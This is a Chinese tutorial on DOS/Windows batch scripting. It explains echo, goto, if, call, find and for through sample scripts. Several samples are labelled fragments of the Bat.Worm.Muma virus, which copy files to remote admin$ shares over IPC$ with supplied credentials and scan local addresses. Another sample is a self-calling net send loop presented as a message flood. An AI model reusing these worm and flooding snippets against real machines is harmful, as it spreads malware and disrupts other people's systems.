bat 批處理教程

2021-12-02 16:00 更新

這是一篇技術(shù)教程,我會(huì)用很簡(jiǎn)單的文字表達(dá)清楚自己的意思,只要你識(shí)字就能看懂,就能學(xué)到知識(shí)。


按照我的理解,批處理的本質(zhì),是一堆DOS命令按一定順序排列而形成的集合。

OK,never claver and get to business(閑話(huà)少說(shuō)言歸正傳)。批處理,也稱(chēng)為批處理腳本,英文譯為 BATCH ,批處理文件后綴BAT就取的前三個(gè)字母。它的構(gòu)成沒(méi)有固定格式,只要遵守以下這條就 ok 了:每一行可視為一個(gè)命令,每個(gè)命令里可以含多條子命令,從第一行開(kāi)始執(zhí)行,直到最后一行結(jié)束,它運(yùn)行的平臺(tái)是 DOS。批處理有一個(gè)很鮮明的特點(diǎn):使用方便、靈活,功能強(qiáng)大,自動(dòng)化程度高。我不想讓自己寫(xiě)的教程枯燥無(wú)味,因?yàn)闋坷p到代碼(批處理的內(nèi)容算是代碼吧?)的問(wèn)題本來(lái)就是枯燥的,很少有人能面對(duì)滿(mǎn)屏幕的代碼而靜下心來(lái)。所以我會(huì)用很多簡(jiǎn)單實(shí)用的例子讓讀這篇教程的朋友去體會(huì)批處理的那四射的魅力,感受它那古靈精怪的性格,不知不覺(jué)中愛(ài)上批處理(暈,怎么又是愛(ài)?到底批處理和愛(ài)有什么關(guān)系?答案:沒(méi)有?。T僬f(shuō)句“閑話(huà)”:要學(xué)好批處理,DOS 基礎(chǔ)一定要牢!當(dāng)然腦子靈活也是很重要的一方面。

例一

先給出一個(gè)最 easy 的批處理腳本讓大家和它混個(gè)臉熟,將下面的幾行命令保存為 name.bat 然后執(zhí)行(以后文中只給出代碼,保存和執(zhí)行方式類(lèi)似):

ping sz.tencent.com > a.txt
ping sz1.tencent.com >> a.txt
ping sz2.tencent.com >> a.txt
ping sz3.tencent.com >> a.txt
ping sz4.tencent.com >> a.txt
ping sz5.tencent.com >> a.txt
ping sz6.tencent.com >> a.txt
ping sz7.tencent.com >> a.txt
exit


執(zhí)行這個(gè)批處理后,可以在你的當(dāng)前盤(pán)建立一個(gè)名為`a.txt`的文件,它里面記錄的信息可以幫助你迅速找到速度最快的 QQ 服務(wù)器,從而遠(yuǎn)離“從服務(wù)器中轉(zhuǎn)”那一痛苦的過(guò)程。這里>的意思,

是把前面命令得到的東西放到后面所給的地方,`>>`的作用,和`>`的相同,區(qū)別是把結(jié)果追加到前一行得出的結(jié)果的后面,具體的說(shuō)是下一行,而前面一行命令得出的結(jié)果將保留,這樣可以使這個(gè)`a.txt`文件越來(lái)越大(想到如何搞破壞了??)。By the way,這個(gè)批處理還可以和其他命令結(jié)合,搞成完全自動(dòng)化判斷服務(wù)器速度的東東,執(zhí)行后直接顯示速度最快的服務(wù)器 IP,是不是很爽?后面還將詳細(xì)介紹。

例二

再給出一個(gè)已經(jīng)過(guò)時(shí)的例子(`a.bat`):

@echo off
if exist C:\Progra~1\Tencent\AD.gif del C:\Progra~1\Tencent\AD.gif
a.bat

為什么說(shuō)這是個(gè)過(guò)時(shí)的例子呢?很簡(jiǎn)單,因?yàn)楝F(xiàn)在已經(jīng)幾乎沒(méi)有人用帶廣告的 QQ 了(KAO,我的QQ還顯示好友三圍呢?。。?,所以它幾乎用不上了。但曾經(jīng)它的作用是不可小窺的:刪除 QQ 的廣告,讓對(duì)話(huà)框干干凈凈。這里用的地址是 QQ 的默認(rèn)安裝地址,默認(rèn)批處理文件名為`a.bat`,你當(dāng)然可以根據(jù)情況自行修改。在這個(gè)腳本中使用了 if 命令,使得它可以達(dá)到適時(shí)判斷和刪除廣告圖片的效果,你只需要不關(guān)閉命令執(zhí)行后的 DOS 窗口,不按 `CTRL+C` 強(qiáng)行終止命令,它就一直監(jiān)視是否有廣告圖片( QQ 也再不斷查看自己的廣告是否被刪除)。當(dāng)然這個(gè)腳本占用你一點(diǎn)點(diǎn)內(nèi)存,呵呵。

例三

使用批處理腳本查是否中冰河。腳本內(nèi)容如下:

@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit

這里利用了`netstat`命令,檢查所有的網(wǎng)絡(luò)端口狀態(tài),只需要你清楚常見(jiàn)木馬所使用的端口,就能很easy的判斷出來(lái)是否被人種了冰河。然這不是確定的,因?yàn)楸幽J(rèn)的端口7626,完全可以被人修改。這里介紹的只是方法和思路。這里介紹的是方法和思路稍做改動(dòng),就變成可以檢查其他木馬的腳本了,再改動(dòng)一下,加進(jìn)去參數(shù)和端口及信息列表文件后,就變成自動(dòng)檢測(cè)所有木馬的腳本了。呵呵,是不是很過(guò)癮?腳本中還利用了組合命令`&&`和管道命令`|`,后面將詳細(xì)介紹。

例四

借批處理自動(dòng)清除系統(tǒng)垃圾,腳本如下:

@echo off
if exist c:\windows\temp. del c:\windows\temp\.
if exist c:\windows\Tempor~1. del c:\windows\Tempor~1\.
if exist c:\windows\History. del c:\windows\History\.
if exist c:\windows\recent. del c:\windows\recent\.

將以上腳本內(nèi)容保存到`autoexec.bat`里,每次開(kāi)機(jī)時(shí)就把系統(tǒng)垃圾給自動(dòng)刪除了。這里需要注意兩點(diǎn):一、DOS 不支持長(zhǎng)文件名,所以就出現(xiàn)了`Tempor~1`這個(gè)東東;二、可根據(jù)自己的實(shí)際情況進(jìn)行改動(dòng),使其符合自己的要求。



看過(guò)第一章的朋友,一定對(duì)批處理有了初步的印象,知道它到底是用來(lái)干什么的了。但你知道運(yùn)用批處理的精髓在哪里嗎?其實(shí)很簡(jiǎn)單:思路要靈活!沒(méi)有做不到的,只有想不到的。這和愛(ài)情就有點(diǎn)不同了,因?yàn)閻?ài)情的世界是兩個(gè)人的世界,一廂情愿不叫愛(ài)情(補(bǔ)充:那叫單戀。廢話(huà)?。┒幚韰s是一個(gè)人的天堂,你可以為所欲為,沒(méi)有達(dá)不到的境界!


批處理看起來(lái)雜亂無(wú)章,但它的邏輯性之強(qiáng),絕對(duì)不比其他程序語(yǔ)言(如匯編)低,如果你寫(xiě)的腳本是一堆亂麻,雖然每一行命令都正確,但從頭執(zhí)行到尾后,不一定得到你想要的結(jié)果,也許是一屏幕的`Bad command or fail name`。這又和愛(ài)情有了共同點(diǎn):按步驟來(lái)經(jīng)營(yíng),缺少或增多的步驟都可能導(dǎo)致不想看見(jiàn)的結(jié)果。陷入愛(ài)河的朋友,相信沒(méi)有不肯定這句話(huà)的。我的愛(ài)情批處理,輸出的結(jié)果不是`Bad command or fail name`,屏幕是這么顯示的:‘你的愛(ài)情’不是內(nèi)部或外部命令,也不是可運(yùn)行的程序或批處理文件。然后就是光標(biāo)不停閃動(dòng),等待這下一次錯(cuò)誤的輸入。


從這一章開(kāi)始,將由淺入深的介紹批處理中常用的命令,很多常見(jiàn) DOS 命令在批處理腳本中有這廣泛的應(yīng)用,它們是批處理腳本的 BODY 部分,但批處理比 DOS 更靈活多樣,更具備自動(dòng)化。要學(xué)好批處理,DOS 一定要有比較扎實(shí)的基礎(chǔ)。這里只講述一些比較少用(相對(duì)來(lái)說(shuō))的 DOS 命令,常用命令如 COPY、DIR 等就不做介紹了(這些看似簡(jiǎn)單的命令實(shí)際復(fù)雜的很,我怕自己都說(shuō)不清楚!)。


例五

先看一個(gè)實(shí)例。這是一個(gè)很有意思的腳本,一個(gè)小巧實(shí)用的好東東,把批處理“自動(dòng)化”的特點(diǎn)體現(xiàn)的淋漓盡致。先介紹一下這個(gè)腳本的來(lái)歷:大家都知道匯編程序(MASM)的上機(jī)過(guò)程,先要對(duì)源代碼進(jìn)行匯編、連接,然后再執(zhí)行,而這中間有很多環(huán)節(jié)需要輸入很多東西,麻煩的很(只有經(jīng)歷過(guò)的朋友才懂得)。如何使這個(gè)過(guò)程變的簡(jiǎn)單呢?在我們搞匯編課程設(shè)計(jì)時(shí),我“被逼”寫(xiě)了這個(gè)腳本,用起來(lái)很爽,呵呵??纯茨_本內(nèi)容:

@echo off
::close echo
cls
::clean screen
echo This programme is to make the MASM programme automate
::display info
echo Edit by CODERED
::display info
echo Mailto me : qqkiller@sina.com
::display info
if "%1"=="" goto usage
::if input without paramater goto usage
if "%1"=="/?" goto usage
::if paramater is "/?" goto usage
if "%1"=="help" goto usage
::if paramater is "help" goto usage
pause
::pause to see usage
masm %1.asm
::assemble the .asm code
if errorlevel 1 pause & edit %1.asm
::if error pause to see error msg and edit the code
link %1.obj & %1
::else link the .obj file and execute the .exe file
:usage
::set usage
echo Usage: This BAT file name [asm file name]
echo Default BAT file name is START.BAT
::display usage

先不要被這一堆的東西給嚇怕了,靜下心來(lái)仔細(xì)的看(回想一下第一章中第一段是怎么寫(xiě)的?。。R呀?jīng)給出了每一行命令的解釋?zhuān)瑑蓚€(gè)冒號(hào)后面的內(nèi)容為前一行內(nèi)容解釋的E文(害怕E文的朋友也不用擔(dān)心,都很easy,一看就懂了,實(shí)在不懂了不會(huì)查詞典啊,這么懶?),在腳本執(zhí)行時(shí)不顯示,也不起任何作用。倒數(shù)第5行行首有一個(gè)冒號(hào),可不是筆誤哦!具體作用后面會(huì)詳細(xì)講到。此腳本中masm和link是匯編程序和連接程序,必須和edit程序以及你要編輯的源代碼(當(dāng)然還有這個(gè)腳本,廢話(huà)?。┮黄鹪诋?dāng)前目錄中。使用這個(gè)批處理腳本,可以最大可能的減少手工輸入,整個(gè)過(guò)程中只需要按幾下回車(chē)鍵,即可實(shí)現(xiàn)從匯編源代碼到可執(zhí)行exe文件的自動(dòng)化轉(zhuǎn)換,并具備智能判斷功能:如果匯編時(shí)源代碼出現(xiàn)錯(cuò)誤(匯編不成功),則自動(dòng)暫停顯示錯(cuò)誤信息,并在按任意鍵后自動(dòng)進(jìn)入編輯源代碼界面;如果源代碼匯編成功,則進(jìn)行連接,并在連接后自動(dòng)執(zhí)行生成的exe文件。另外,由于批處理命令的簡(jiǎn)單性和靈活性,這個(gè)腳本還具備良好的可改進(jìn)性,簡(jiǎn)單進(jìn)行修改就可以符合不同朋友的上機(jī)習(xí)慣。正在學(xué)匯編的朋友,一定別忘了實(shí)習(xí)一下!


在這個(gè)腳本中出現(xiàn)了如下幾個(gè)命令:`@`、`echo`、`::`、`pause`、`:`和`goto`、`%`以及`if`。而這一章就將講述這幾個(gè)命令。


1、@

這個(gè)符號(hào)大家都不陌生,`email` 的必備符號(hào),它怎么會(huì)跑到批處理中呢?呵呵,不是它的錯(cuò),批處理本來(lái)就離不開(kāi)它,要不就不完美了。它的作用是讓執(zhí)行窗口中不顯示它后面這一行的命令本身(多么繞口的一句話(huà)!)。呵呵,通俗一點(diǎn)說(shuō),行首有了它的話(huà),這一行的命令就不顯示了。在例五中,首行的`@echo off`中,`@`的作用就是讓腳本在執(zhí)行時(shí)不顯示后面的`echo off`部分。這下懂了吧?還是不太懂?沒(méi)關(guān)系,看完`echo`命令簡(jiǎn)介,自然就懂了。

2、echo

中文為“反饋”、“回顯”的意思。它其實(shí)是一個(gè)開(kāi)關(guān)命令,就是說(shuō)它只有兩種狀態(tài):打開(kāi)和關(guān)閉。于是就有了`echo on`和`echo off`兩個(gè)命令了。直接執(zhí)行`echo`命令將顯示當(dāng)前`echo`命令狀態(tài)(`off`或`on`)執(zhí)行`echo off`將關(guān)閉回顯,它后面的所有命令都不顯示命令本身,只顯示執(zhí)行后的結(jié)果,除非執(zhí)行`echo on`命令。在例五中,首行的`@`命令和`echo off`命令聯(lián)合起來(lái),達(dá)到了兩個(gè)目的:不顯示`echo off`命令本身,不顯示以后各行中的命令本身。的確是有點(diǎn)亂,但你要是練習(xí)一下的話(huà),3分鐘包會(huì),不會(huì)的退錢(qián)!

`echo`命令的另一種用法一:可以用它來(lái)顯示信息!如例五中倒數(shù)第二行,`Default BAT file name is START.BAT`將在腳本執(zhí)行后的窗口中顯示,而`echo`命令本身不顯示(為什么??)。

`echo`命令的另一種用法二:可以直接編輯文本文件。例六:

echo nbtstat -A 192.168.0.1 > a.bat
echo nbtstat -A 192.168.0.2 >> a.bat
echo nbtstat -A 192.168.0.3 >> a.bat

以上腳本內(nèi)容的編輯方法是,直接是命令行輸入,每行一回車(chē)。最后就會(huì)在當(dāng)前目錄下生成一個(gè)`a.bat`的文件,直接執(zhí)行就會(huì)得到結(jié)果。

 3、::

這個(gè)命令的作用很簡(jiǎn)單,它是注釋命令,在批處理腳本中和`rem`命令等效。它后面的內(nèi)容在執(zhí)行時(shí)不顯示,也不起任何作用,因?yàn)樗皇亲⑨專(zhuān)皇窃黾恿四_本的可讀性,和C語(yǔ)言中的`/…………/`類(lèi)似。地球人都能看懂,就不多說(shuō)了。

4、pause

中文為“暫?!钡囊馑迹纯茨愕腵workman`上),我一直認(rèn)為它是批處理中最簡(jiǎn)單的一個(gè)命令,單純、實(shí)用。它的作用,是讓當(dāng)前程序進(jìn)程暫停一下,并顯示一行信息:請(qǐng)按任意鍵繼續(xù). . .。在例五中這個(gè)命令運(yùn)用了兩次,第一次的作用是讓使用者看清楚程序信息,第二個(gè)是顯示錯(cuò)誤的匯編代碼信息(其實(shí)不是它想顯示,而是`masm`程序在顯示錯(cuò)誤信息時(shí)被暫它停了,以便讓你看清楚你的源代碼錯(cuò)在哪里)。

5、`:`和`goto`

為什么要把這兩個(gè)命令聯(lián)合起來(lái)介紹?因?yàn)樗鼈兪欠植婚_(kāi)的,無(wú)論少了哪個(gè)或多了哪個(gè)都會(huì)出錯(cuò)。`goto`是個(gè)跳轉(zhuǎn)命令,`:`是一個(gè)標(biāo)簽。當(dāng)程序運(yùn)行到`goto`時(shí),將自動(dòng)跳轉(zhuǎn)到`:`定義的部分去執(zhí)行了(是不是分不開(kāi)?)。例五中倒數(shù)第5行行首出現(xiàn)一個(gè)`:`,則程序在運(yùn)行到`goto`時(shí)就自動(dòng)跳轉(zhuǎn)到:標(biāo)簽定義的部分執(zhí)行,結(jié)果是顯示腳本`usage`(usage就是標(biāo)簽名稱(chēng))。不難看出,`goto`命令就是根據(jù)這個(gè)冒號(hào)和標(biāo)簽名稱(chēng)來(lái)尋找它該跳轉(zhuǎn)的地方,它們是一一對(duì)應(yīng)的關(guān)系。`goto`命令也經(jīng)常和`if`命令結(jié)合使用。至于這兩個(gè)命令具體用法,參照例五。

`goto`命令的另一種用法一:提前結(jié)束程序。在程序中間使用`goto`命令跳轉(zhuǎn)到某一標(biāo)簽,而這一標(biāo)簽的內(nèi)容卻定義為退出。如:

……
goto end
……
:end


這里`:end`在腳本最后一行!其實(shí)這個(gè)例子很弱智,后面講了`if`命令和組合命令你就知道了。

 6、%

這個(gè)百分號(hào)嚴(yán)格來(lái)說(shuō)是算不上命令的,它只是批處理中的參數(shù)而已(多個(gè)%一起使用的情況除外,以后還將詳細(xì)介紹),但千萬(wàn)別以為它只是參數(shù)就小看了它(看看例五中有多少地方用到它?),少了它批處理的功能就減少了51%了。看看例七:

net use \%1\ipc$ %3 /u:"%2"
copy 11.BAT \%1\admin$\system32 /y
copy 13.BAT \%1\admin$\system32 /y
copy ipc2.BAT \%1\admin$\system32 /y
copy NWZI.EXE \%1\admin$\system32 /y
attrib \%1\admin$\system32\10.bat -r -h -s

以上代碼是 Bat.Worm.Muma 病毒中的一部分,%1代表的IP,2%代表的username,3%代表password。執(zhí)行形式為:腳本文件名 參數(shù)一 參數(shù)二 ……。假設(shè)這個(gè)腳本被保存為a.bat,則執(zhí)行形式如下:a IP username password。這里IP、username、password是三個(gè)參數(shù),缺一不可(因?yàn)槌绦虿荒苷_運(yùn)行,并不是因?yàn)樯倭藚?shù)語(yǔ)法就不對(duì))這樣在腳本執(zhí)行過(guò)程中,腳本就自動(dòng)用用你的三個(gè)參數(shù)依次(記住,是依次!也是一一對(duì)應(yīng)的關(guān)系。)代換1%、2%和3%,這樣就達(dá)到了靈活運(yùn)用的目的(試想,如果在腳本中直接把IP、username和password都定義死,那么腳本的作用也就被固定了,但如果使用%的話(huà),不同的參數(shù)可以達(dá)到不同的目的,是不是更靈活?)。

關(guān)于這個(gè)參數(shù)的使用,在后續(xù)章節(jié)中還將介紹。一定要非常熟練才行,這需要很多練習(xí)過(guò)程,需要下點(diǎn)狠工夫!

這一章就寫(xiě)到這里了。可能有朋友問(wèn)了:怎么沒(méi)介紹if命令?呵呵,不是我忘了,而是它不容易說(shuō)清楚,下一章再講了!這一章講的這點(diǎn)東西,如果你是初學(xué)者,恐怕也夠消化的了。記住一句話(huà):DOS是批處理的BODY,任何一個(gè)DOS命令都可以被用在批處理腳本中去完成特定的功能。到這里,你是否已經(jīng)想到了用自己肚子里的東西去寫(xiě)點(diǎn)帶有自動(dòng)化色彩的東東呢?很簡(jiǎn)單,就是一個(gè)DOS命令的集合而已,相信自稱(chēng)為天才的你已經(jīng)會(huì)把計(jì)算機(jī)等級(jí)考試上機(jī)試題中的DOS部分用批處理來(lái)自動(dòng)化完成了。

7、if

接上一章,接著講if命令??偟膩?lái)說(shuō),if命令是一個(gè)表示判斷的命令,根據(jù)得出的每一個(gè)結(jié)果,它都可以對(duì)應(yīng)一個(gè)相應(yīng)的操作。關(guān)于它的三種用法,在這里分開(kāi)講。

(1)、輸入判斷。還是用例五里面的那幾句吧:


if "%1"=="" goto usage
if "%1"=="/?" goto usage
if "%1"=="help" goto usage

這里判斷輸入的參數(shù)情況,如果參數(shù)為空(無(wú)參數(shù)),則跳轉(zhuǎn)到usage;如果參數(shù)為/?或help時(shí)(大家一般看一個(gè)命令的幫助,是不是輸入的/?或help呢,這里這么做只是為了讓這個(gè)腳本看起來(lái)更像一個(gè)真正的程序),也跳轉(zhuǎn)到usage。這里還可以用否定形式來(lái)表示“不等于”,例如:if not "%1"=="" goto usage,則表示如果輸入?yún)?shù)不為空就跳轉(zhuǎn)到usage(實(shí)際中這樣做就沒(méi)意義了,這里介紹用法,管不了那么多了,呵呵。)是不是很簡(jiǎn)單?其實(shí)翻譯成中文體會(huì)一下就understand了。

(2)、存在判斷。再看例二里這句:

if exist C:\Progra~1\Tencent\AD.gif del C:\Progra~1\Tencent\AD.gif

如果存在那些gif文件,就刪除這些文件。當(dāng)然還有例四,都是一樣的道理。注意,這里的條件判斷是判斷存在的,當(dāng)然也可以判斷不存在的,例如下面這句“如果不存在那些gif文件則退出腳本”:if not exist C:\Progra~1\Tencent\AD.gif exit。只是多一個(gè)not來(lái)表示否定而已。

(3)、結(jié)果判斷。還是拿例五開(kāi)刀(沒(méi)想到自己寫(xiě)的腳本,竟然用處這么大,呵呵):

masm %1.asm
if errorlevel 1 pause & edit %1.asm
link %1.obj

先對(duì)源代碼進(jìn)行匯編,如果失敗則暫停顯示錯(cuò)誤信息,并在按任意鍵后自動(dòng)進(jìn)入編輯界面;否則用link程序連接生成的obj文件。這里只介紹一下和if命令有關(guān)的地方,&命令后面會(huì)講到。這種用法是先判斷前一個(gè)命令執(zhí)行后的返回碼(也叫錯(cuò)誤碼,DOS程序在運(yùn)行完后都有返回碼),如果和定義的錯(cuò)誤碼符合(這里定義的錯(cuò)誤碼為1),則執(zhí)行相應(yīng)的操作(這里相應(yīng)的操作為pause & edit %1.asm部分)。

另外,和其他兩種用法一樣,這種用法也可以表示否定。用否定的形式仍表達(dá)上面三句的意思,代碼變?yōu)椋?/p>

masm %1.asm
if not errorlevel 1 link %1.obj
pause & edit %1.asm

看到本質(zhì)了吧?其實(shí)只是把結(jié)果判斷后所執(zhí)行的命令互換了一下,“if not errorlevel 1”和“if errorlevel 0”的效果是等效的,都表示上一句masm命令執(zhí)行成功(因?yàn)樗清e(cuò)誤判斷,而且返回碼為0,0就表示否定,就是說(shuō)這個(gè)錯(cuò)誤不存在,就是說(shuō)masm執(zhí)行成功)。這里是否加not,錯(cuò)誤碼到底用0還是1,是值得考慮的兩個(gè)問(wèn)題,一旦搭配不成功腳本就肯定出錯(cuò),所以一定要體會(huì)的很深刻才行。如何體會(huì)的深刻?練習(xí)!自己寫(xiě)一個(gè)腳本,然后把有not和沒(méi)有not的情況,返回碼為0或1的情況分別寫(xiě)進(jìn)去執(zhí)行(怎么,嫌麻煩啊?排列組合算一下才四中情況你就嫌麻煩了?后面介紹管道命令和組合命令時(shí)還有更麻煩的呢!怕了?呵呵。),這樣從執(zhí)行的結(jié)果中就能很清楚的看出這兩種情況的區(qū)別。

這種用errorlevel結(jié)果判斷的用法是if命令最難的用法,但也恰恰是最有用的用法,如果你不會(huì)用errorlevel來(lái)判斷返回碼,則要達(dá)到相同的效果,必須用else來(lái)表示“否則”的操作,是比較麻煩的。以上代碼必須變成:

masm %1.asm
if exist %1.obj link %1.obj
else pause & edit %1.asm

關(guān)于if命令的這三種用法就say到這里,理解很簡(jiǎn)單,但應(yīng)用時(shí)就不一定用的那么得心應(yīng)手,主要是熟練程度的問(wèn)題??赡苡械呐笥延悬c(diǎn)驚訝,我怎么沒(méi)給出類(lèi)似下面三行的用法介紹,是因?yàn)橄旅嫒惺莍f命令幫助里對(duì)它自身用法的解釋?zhuān)魏稳酥灰粋€(gè)“if /?”就能看到,我沒(méi)有必要在這里多費(fèi)口舌;更重要的原因,是我覺(jué)得這樣介紹的不清楚,看的人不一定看的懂,所以我采用上面自己對(duì)if命令的理解來(lái)介紹。一定要注意的是,這三種用法的格式各不相同,而且也是不能改變的,但實(shí)際上可以互換(以為從本質(zhì)上講,這三種用法都是建立在判斷的基礎(chǔ)上的,哲學(xué)教我們學(xué)會(huì)透過(guò)現(xiàn)象看事物本質(zhì)!)。有興趣的朋友可以自己研究一下。


IF [NOT] ERRORLEVEL number do command
IF [NOT] string1==string2 do command
IF [NOT] EXIST filename do command

8、call

學(xué)過(guò)匯編或C的朋友,肯定都知道call指令表示什么意思了,在這里它的意思其實(shí)也是一樣的。在批處理腳本中,call命令用來(lái)從一個(gè)批處理腳本中調(diào)用另一個(gè)批處理腳本??蠢耍J(rèn)的三個(gè)腳本文件名分別為start.bat、10.bat和ipc.bat):


start.bat:
……
CALL 10.BAT 0
……
10.bat:
……
ECHO %IPA%.%1 >HFIND.TMP
……
CALL ipc.bat IPCFind.txt
ipc.bat:
for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k

有沒(méi)有看出什么不對(duì)的地方?沒(méi)看出來(lái)啊?沒(méi)看出來(lái)就對(duì)了,其實(shí)就沒(méi)有不對(duì)的地方嘛,你怎么看的出來(lái)!從上面兩個(gè)腳本,你可以得到如下信息:1、腳本調(diào)用可以靈活運(yùn)用,循環(huán)運(yùn)用、重復(fù)運(yùn)用。2、腳本調(diào)用可以使用參數(shù)!關(guān)于第一點(diǎn)就不多說(shuō)了,聰明的你一看就應(yīng)該會(huì),這里說(shuō)一下第二點(diǎn)。

在start.bat中,10.bat后面跟了參數(shù)0,在執(zhí)行時(shí)的效果,其實(shí)就是把10.bat里的參數(shù)%1用0代替。在start.bat中,ipc.bat后面跟了參數(shù)ipcfind.txt(一個(gè)文件,也可以做參數(shù)),執(zhí)行時(shí)的效果,就是用ipc.bat中的每一行的三個(gè)變量(這里不懂沒(méi)關(guān)系,學(xué)過(guò)for命令后就懂了),對(duì)應(yīng)代換ipc.bat中的%%i、%%j和%%k。這里參數(shù)調(diào)用是非常靈活的,使用時(shí)需要好好體會(huì)。在初學(xué)期間,可以先學(xué)習(xí)只調(diào)用腳本,至于連腳本的參數(shù)一起使用的情況,在后面的學(xué)習(xí)中自然就會(huì)有比較深刻的理解,這是因?yàn)楫?dāng)你已經(jīng)可以靈活運(yùn)用批處理腳本后,如何使代碼寫(xiě)的更精簡(jiǎn)更完美更高效就自然包括到了考慮的范圍,這時(shí)候你就會(huì)發(fā)現(xiàn)在調(diào)用腳本時(shí)直接加入?yún)?shù),可以使代碼效率加倍。By the way,上面的這幾個(gè)腳本,都是Bat.Worm.Muma病毒的一部分,在后面的教程里,大家將有機(jī)會(huì)見(jiàn)到這個(gè)病毒的真面目。

那是不是說(shuō),在同一個(gè)目錄下至少存在兩個(gè)批處理腳本文件(只有一個(gè)你調(diào)用誰(shuí)?)?呵呵,注意了,這句話(huà)錯(cuò)了??!只有一個(gè)照樣可以調(diào)用----調(diào)用自身!看例九(默認(rèn)腳本文件名a.bat):

net send %1 This is a call example.
call a.bat

這兩句一結(jié)合,效果自然不怎么樣,因?yàn)橹挥幸慌_(tái)機(jī)器來(lái)發(fā)消息,誰(shuí)怕誰(shuí)?。课医o你來(lái)個(gè)禮尚往來(lái)!可如果有100臺(tái)機(jī)器同時(shí)執(zhí)行,而且每臺(tái)機(jī)器開(kāi)10和窗口同時(shí)向一個(gè)目標(biāo)機(jī)器發(fā)消息的話(huà),呵呵。這里call a.bat的作用就是調(diào)用自身,執(zhí)行完前一句net send命令后再調(diào)用自身,達(dá)到了循環(huán)執(zhí)行的目的。

給出一個(gè)很有意思的腳本,有興趣的朋友可以實(shí)驗(yàn)一下。例十(默認(rèn)腳本文件名為a.bat):

call a.bat

一定要在DOS窗口下執(zhí)行,否則只會(huì)看到一個(gè)窗口一閃而過(guò),看不到最后結(jié)果。等執(zhí)行完后,當(dāng)腳本被執(zhí)行了1260次,別忘了想一下到底是為什么!愛(ài)情有時(shí)候跟這個(gè)腳本一樣,一旦陷入死循環(huán),最后的結(jié)果都是意想不到的。只是愛(ài)情,絕對(duì)不會(huì)等到被毫無(wú)理由的循環(huán)這么多次,也許在第三次時(shí)就出現(xiàn)了love is aborted的提示。

9、find

這是一個(gè)搜索命令,用來(lái)在文件中搜索特定字符串,通常也作為條件判斷的鋪墊程序(我怎么突然想起了這四個(gè)字?)。這個(gè)命令單獨(dú)使用的情況在批處理中是比較少見(jiàn)的,因?yàn)闆](méi)什么實(shí)際意義。還是借例三來(lái)說(shuō)明:

@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit

先用netstat命令檢查是否有冰河默認(rèn)的端口7626在活動(dòng),并把結(jié)果保存到a.txt中。然后使用type命令列出a.txt中的內(nèi)容,再在列出的內(nèi)容中搜索字符串“7626” ,發(fā)現(xiàn)有的話(huà)則提示中了冰河,否則退出。看,find命令其實(shí)就這么簡(jiǎn)單,但有一點(diǎn)必須要注意到:如果不使用type命令列出a.txt中的內(nèi)容,而是直接使用find命令在a.txt中找“7626”(find a.txt "7626" && echo "Congratulations! You have infected GLACIER!"),就必須得給出這個(gè)a.txt的絕對(duì)路徑(我試過(guò)了,find并沒(méi)有默認(rèn)路徑就是當(dāng)前路徑的功能,必須手動(dòng)指定。也許是我錯(cuò)了,歡迎指正)。因?yàn)樵趂ind命令的幫助里有這么一句話(huà):如果沒(méi)有指定路徑,find將搜索鍵入的或者由另一個(gè)命令產(chǎn)生的文字。這里的“另一個(gè)命令”自然就指的type命令了。

至于find命令的其他幾個(gè)參數(shù)如v、n、i等,有興趣的朋友自己去研究吧,這已經(jīng)屬于DOS學(xué)習(xí)的內(nèi)容了,這里就不做介紹。關(guān)于find命令和其他命令的一些更精妙的用法(有些簡(jiǎn)直令人叫絕),后續(xù)的教程中將介紹,希望關(guān)注。

10、for、set、shift

為什么把這三個(gè)命令放到一起來(lái)講?原因除了我說(shuō)明外,恐怕誰(shuí)也想不到!很簡(jiǎn)單的一句話(huà):其實(shí)我也不太懂!是的,對(duì)于這兩個(gè)命令,我是從研究Bat.Worm.Muma病毒開(kāi)始學(xué)習(xí)的,時(shí)間過(guò)去了不少,但還是沒(méi)完全搞明白,我怕講出來(lái)連自己都看不懂,我更怕不小心講錯(cuò)了成了罪人。所以我給出一個(gè)腳本去告訴你,如何讓這兩個(gè)命令給自己留一個(gè)初步的印象,其實(shí)也就是這兩個(gè)命令的入門(mén),而并不是說(shuō)如何領(lǐng)會(huì)這兩個(gè)命令。因?yàn)橐I(lǐng)會(huì)如此精妙的兩個(gè)命令(特別是for)談何容易!也許你會(huì)表?yè)P(yáng)我說(shuō)我誠(chéng)實(shí)、不懂就不懂;也許你會(huì)罵我,讓我既然不懂就趕緊滾蛋,不要在這里丟人顯眼;也許你還會(huì)說(shuō)一些別的這樣那樣好聽(tīng)或不好聽(tīng)的話(huà),都隨便你了,即使我不同意你說(shuō)的話(huà),我也會(huì)誓死捍衛(wèi)你說(shuō)話(huà)的權(quán)利??蠢唬?/p>

@echo off
for /? > for.txt
set /? > set.txt
shift /? >shift.txt
exit
    

執(zhí)行后在當(dāng)前路徑下就生成for.txt、set.txt和shift.txt三個(gè)文件,里面分別記錄了for命令、set命令和shift命令的幫助信息。地球人都能看懂,我就不多說(shuō)了。我在網(wǎng)上曾經(jīng)找了很長(zhǎng)時(shí)間這三個(gè)命令的教程,但都不理想,基本都是照搬的幫助信息。我想在自己完全掌握了這兩個(gè)命令后,一定要寫(xiě)一篇用自己的文字總結(jié)出來(lái)的for、set和shift教程(關(guān)于shift命令,后面介紹批處理的參數(shù)時(shí)還將涉及到),一定會(huì)的,這是我的心愿之一!需要注意的一點(diǎn)是,這三個(gè)命令的幫助里 ,介紹的都比較死板,雖然也舉了一些例子,但這是遠(yuǎn)遠(yuǎn)不夠的。要掌握這兩個(gè)命令,最需要的就是耐心!沒(méi)寫(xiě)錯(cuò),就是耐心。光是認(rèn)真看完它們的幫助文字就已經(jīng)需要足夠的耐心了,要進(jìn)一步練習(xí)領(lǐng)會(huì)這兩個(gè)命令,難道不需要更大的耐心?實(shí)戰(zhàn)練習(xí)的機(jī)會(huì)我會(huì)留給你的,關(guān)鍵還是那句話(huà),看你有沒(méi)有耐心去研究了??纯蠢?/p>


START.BAT:
CALL MUMA.BAT
SET IPA=192.168
CALL 10.BAT 0
:NEARAGAIN
netstat -n|find ":" >A.TMP
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT
:START
CALL RANDOM.BAT
